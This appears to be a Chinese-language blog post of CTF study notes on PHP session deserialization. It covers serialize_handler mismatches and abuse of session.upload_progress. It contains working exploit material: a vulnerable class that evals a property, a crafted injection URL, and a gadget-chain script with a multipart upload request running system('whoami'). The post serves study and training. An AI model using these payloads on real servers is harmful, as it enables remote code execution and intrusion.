PHP 反序列化中的session考点
前言:PHP 反序列化中的session考点笔记
概念知识点
php存储session是通过反序列化进行存储的,而反序列化session的话有如下三种模式,默认使用的是php handler
-
php_serialize
-
php
-
binary
php中session文件存储的位置根据php.ini里面设置session.save_path存储的位置来决定的
设置SESSION序列化规则根据php.ini里面的session.serialize_handler来决定的
在linux中当session_start()被调用或者php.ini中session.auto_start为1时,PHP内部调用会话管理器,访问用户session被序列化以后,存储到指定目录(默认为/tmp),具体还要看管理员的设置
注意,php_serialize在5.5.4版本后新加的一种规则,5.5.4及之前版本如果设置成php_serialize会报错
session.serialize_handler = php 一直都在 它是用 | 分割
session.serialize_handler = php_serialize 5.5之后启用 它是用serialize反序列化格式分割
以 php 存储session的情况如下:
测试代码:
<?php ini_set('session.serialize_handler', 'php'); session_start(); $_SESSION['a'] = 'aaaaaaaaaaaaaaa';
结果如下:可以看出,当SESSION存储模式为php的时候,它的存储规则为SESSION中元素的名称 | s:SESSION元素中的字符串的数量:"SESSION元素中的字符串";
也就是 键和值中间用 ' | ' 来分割
以 php_serialize 存储session的情况如下:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['a'] = 'aaaaaaaaaaaaaaa';
结果如下:可以看出,当SESSION存储模式为php_serialize的时候,它的存储规则为跟正常的序列化函数serialize规则是一样的
php的session会话文件命名规则:sess_sessionid
session在反序列化中的攻击
PHP中的session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的
如果 PHP 在序列化存储的 $_SESSION 数据时的使用的处理器和反序列化时使用的处理器不同的情况,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。常见的比如存入session时用的处理器为php_serialize,反序列化时用的处理器是php
观察如下两个文件,发现指定了不同的session处理器进行处理,那么当写入的时候为php_serialize handler,而读取的时候为php handler,那么此时就有可能造成SESSION反序列化的操作
文件A:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION["spoock"]=$_GET["a"];
文件B:
<?php ini_set('session.serialize_handler', 'php'); session_start(); class lemon { var $hi; function __construct(){ $this->hi = 'phpinfo();'; } function __destruct() { eval($this->hi); } }
访问A文件:http://127.0.0.1/A.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
此时存储的值为如下:
a:1:{s:6:"spoock";s:48:"|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}
那么当session处理器模式为php的时候,它的处理方式为键值方式,a:1:{s:6:"spoock";s:48:"
为键,O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}";}
为值
此时$this->hi
的值就为echo "spoock";"
,所以传入的数据会按照php以|
来进行反序列化,最终则会被带入eval被执行输出
upload_progress在反序列化中的利用
再来看一道CTF的题目
需要先知道的是:
session.upload_progress.enabled,当它为开启状态时,PHP能够在每一个文件上传时监测上传进度。
当一个上传在处理中,同时POST一个与php.ini中设置的session.upload_progress.name同名变量时,上传进度就可以在$_SESSION中获得。
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix与 session.upload_progress.name连接在一起的值。
假如说正常服务器php使用的是php_serialize处理器时,若post:name=xiaoming&passwd=123456|aaaaaaaaa
,
则session中存的就是a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456|aaaaaaaaa";},若还用php_serialize读取数据的话还能读取到正常数据
但若以php处理器读取时得到的就是键为a:2:{s:4:"name";s:8:"xiaoming";s:6:"passwd";s:16:"123456,
值为|后面的序列化字符串反序列化后的数据(因为php处理器存储的格式是:键名|反序列后的值)
当前代码的话没有向服务器提交数据,但是现在session.upload_progress.enabled是开启的,所以可以通过上传文件,从而在session文件中写入数据
注意:复现的时候session.upload_progress.cleanup记得为off,因为on的时候一旦读取了所有POST数据,立即清除进度信息,默认是开启的!
exp:
<?php class foo1{ public $varr; function __construct(){ $this->varr = new foo2(); } } class foo2{ public $varr; public $obj; function __construct(){ $this->varr = '1234567890'; $this->obj = new foo3(); } function __toString(){ $this->obj->execute(); return $this->varr; } } class foo3{ public $varr='system("whoami");'; function execute(){ eval($this->varr); } } var_dump(serialize(new foo1())); ?>
那么先模拟上传包
------WebKitFormBoundaryAZdoD8jYWW22EPEX Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" |O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:17:"system("whoami");";}}} ------WebKitFormBoundaryAZdoD8jYWW22EPEX Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: text/plain 123 ------WebKitFormBoundaryAZdoD8jYWW22EPEX--
当前记录当前的session值:a2bara3rc31u9juofds23benu2
此时session文件中的值为:
然后再去访问index.php,该文件解析session模式为 php,所以我们在上传的时候前面需要添加|
来进行识别,|
后面才是主要的内容
命令执行成功
参考文章:https://www.jianshu.com/p/fba614737c3d
参考文章:https://www.jb51.net/article/107101.htm
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY